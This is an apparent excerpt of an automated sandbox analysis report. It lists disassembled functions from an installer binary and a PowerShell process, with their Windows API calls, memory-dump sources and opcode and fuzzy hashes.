Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: powershell.exePID: 8080, Parent PID: 7648COMMON

Executed Functions

Function 07A11A68 Relevance: 5.6, Strings: 4, Instructions: 566COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A11DB0
4'^q, xrefs: 07A11F00
4'^q, xrefs: 07A11F0A
4'^q, xrefs: 07A11DA6

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: a91e36a01ddd0f17b23e3b8599150e270515b7143dd99fa1911a8de6bd8ad061
Instruction ID: d6b4e4b848adebe26bb5759db5ddb3646ec89c9234e2abc466a40e8baf811d0a
Opcode Fuzzy Hash: a91e36a01ddd0f17b23e3b8599150e270515b7143dd99fa1911a8de6bd8ad061
Instruction Fuzzy Hash: EB1258B1B04219CFEB249B69D81076ABBB2AFC2314F1484BAD625CF291DB32C945C791

Function 03222F78 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7a17056023572d7ff7478d0b3b9920050da2091689e88791929fe0ff505f97
Instruction ID: 503b415ae2fc65846ffc000516e79d5ef4f9c0a346e0e6656e0390cec31bd955
Opcode Fuzzy Hash: 0b7a17056023572d7ff7478d0b3b9920050da2091689e88791929fe0ff505f97
Instruction Fuzzy Hash: DB124F74A10219AFCB15CF98C884AAEFFB2FF48310F298559E545AB365C735ED81CB90

Function 03224900 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e4fe652289202d5513a60eb525ac7130faf681225aadaa9f0c8a82477ef9b5b
Instruction ID: 2c7268c0f00c9eb833c7217d4eabb2f68d1a78a558eb7cadb114c10f2c98d219
Opcode Fuzzy Hash: 1e4fe652289202d5513a60eb525ac7130faf681225aadaa9f0c8a82477ef9b5b
Instruction Fuzzy Hash: 09D14934E11219AFCB05DFA9D990A9DFBF2BF48310F258199E804AB365C771ED85CB90

Function 07A11A67 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda4aaac3c375f2d416239e70f0e1aa47c3659377da68c88cce138d658791b7f
Instruction ID: 903922402ecfabf883d6df9c61433b8e8f6f6b9195325565b391cdde08bafbc2
Opcode Fuzzy Hash: bda4aaac3c375f2d416239e70f0e1aa47c3659377da68c88cce138d658791b7f
Instruction Fuzzy Hash: EB3116F1A1421EDBEB24CF64C541B6A7BB2AFC1384F1880A9DB219F251E735D841C7A1

Function 032233F0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b988fe1fb979789c32dc9d2954e3286a78a8044f523cff62a2b3c9e3a391ab4
Instruction ID: a6634cbba1328772783deffbed5ca83d77e87a2a3be289df497351d8a1d4b04c
Opcode Fuzzy Hash: 1b988fe1fb979789c32dc9d2954e3286a78a8044f523cff62a2b3c9e3a391ab4
Instruction Fuzzy Hash: A64169B4A001159FCB0ACF58C594AAAFBB5FF48310B158199DA05AB365C336FD91CFA0

Function 03223400 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73aeaf2db6431c79f120e79b2973b82967fddc32b1804536e5d7e25462f853fb
Instruction ID: 8146454d5386a7a26ee240c148c9cd95cb0a46933fb264f85a28881fe8c6df66
Opcode Fuzzy Hash: 73aeaf2db6431c79f120e79b2973b82967fddc32b1804536e5d7e25462f853fb
Instruction Fuzzy Hash: 3F4149B4A005159FCB0ACF48C594AAEFBB5FF48310B158199DA05AB364C736FD91CFA0

Function 03222AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d7700542a4c9173ad9539ed179a789c77122e5e156f8a172d6c20fb5effc93
Instruction ID: 64aa26de60d1d45fd478ecbbff7414d42ad0a63d0a1414075da39aee5e3ffcda
Opcode Fuzzy Hash: 86d7700542a4c9173ad9539ed179a789c77122e5e156f8a172d6c20fb5effc93
Instruction Fuzzy Hash: 34210774A00619DFCB41CF59C980AAEFBB5FF49310B258596E419EB361C735EC91CBA0

Function 032248F1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2044eaa5240fa9b6a4b6c3dce1602326c55c9f914e967c3093172fc35f2091e7
Instruction ID: a39115b934b14d4ea19588fb22178b591d330785d2d7c4473d7b8d68f2483568
Opcode Fuzzy Hash: 2044eaa5240fa9b6a4b6c3dce1602326c55c9f914e967c3093172fc35f2091e7
Instruction Fuzzy Hash: 3A212974A0425A9FCB00DF9DD8809AEFBB5FF89310B1481A9D959AB311C731EC41CBA0

Function 03222AAE Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138881674.0000000003220000.00000040.00000800.00020000.00000000.sdmp, Offset: 03220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c703677c8d4ddaaebfcb63fd5c5a65fdc586908d97fb1ca36f312f211a8f11b
Instruction ID: f483d0d27672b8c9b167aa7b964a0ebb9247b36d278c4e3ee3d630d1034a06e3
Opcode Fuzzy Hash: 0c703677c8d4ddaaebfcb63fd5c5a65fdc586908d97fb1ca36f312f211a8f11b
Instruction Fuzzy Hash: EF21F874A00619DFCB40CF99C980AAEFBF5FB4C310B148555E819A7351C731EC91CBA0

Function 0316D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138673652.000000000316D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0316D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_316d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dfdc5a294d9843ecd3863c3fd5655c443872e569f58c626a8dbec1a7cd6903e
Instruction ID: 1aaa2d4d39cc560cb49ca3cba9e91ebbc5953c5636a531e690675e83ce15429d
Opcode Fuzzy Hash: 4dfdc5a294d9843ecd3863c3fd5655c443872e569f58c626a8dbec1a7cd6903e
Instruction Fuzzy Hash: A301F7316097409BE720CA65D984B67FF9CDF49324F1DC46AED080A146C7799881C6B1

Function 0316D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2138673652.000000000316D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0316D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_316d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ecdd0ea5aa0eac9ecd43df96aee9169402645252894e4cad174c328fdc1dbe
Instruction ID: d5ff2a81cfce4aa04e3381f745e3c84e69b1cbd7507b1d6c105b28ad831d9961
Opcode Fuzzy Hash: f4ecdd0ea5aa0eac9ecd43df96aee9169402645252894e4cad174c328fdc1dbe
Instruction Fuzzy Hash: F1012D6150E7C09FD7128B259894B52BFB4EF47224F1D85CBD9888F1A3C2699844C772

Non-executed Functions

Function 07A108A0 Relevance: 10.3, Strings: 8, Instructions: 310COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A10A82
$^q, xrefs: 07A10AA8
tP^q, xrefs: 07A10AED
tP^q, xrefs: 07A10AF9
#k, xrefs: 07A1096F
4'^q, xrefs: 07A109AE
4'^q, xrefs: 07A109A2
$^q, xrefs: 07A10AB4

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$#k$$^q$$^q$$^q
API String ID: 0-2610283901
Opcode ID: 6d2f86fc0238fad64b20a3e2bbf495628714613f87465fface937fbc09a6dfaf
Instruction ID: c923642da28f0eada985467b08723dcbb3ba3b24048d01e0cf08c4e0883c5c4b
Opcode Fuzzy Hash: 6d2f86fc0238fad64b20a3e2bbf495628714613f87465fface937fbc09a6dfaf
Instruction Fuzzy Hash: 4AA14AB17083568FE7258B79841076BBBF5AFC6210F1884BBE465CF352DA32C885C7A1

Function 07A11798 Relevance: 9.0, Strings: 7, Instructions: 237COMMON

Download Yara Rule

Strings

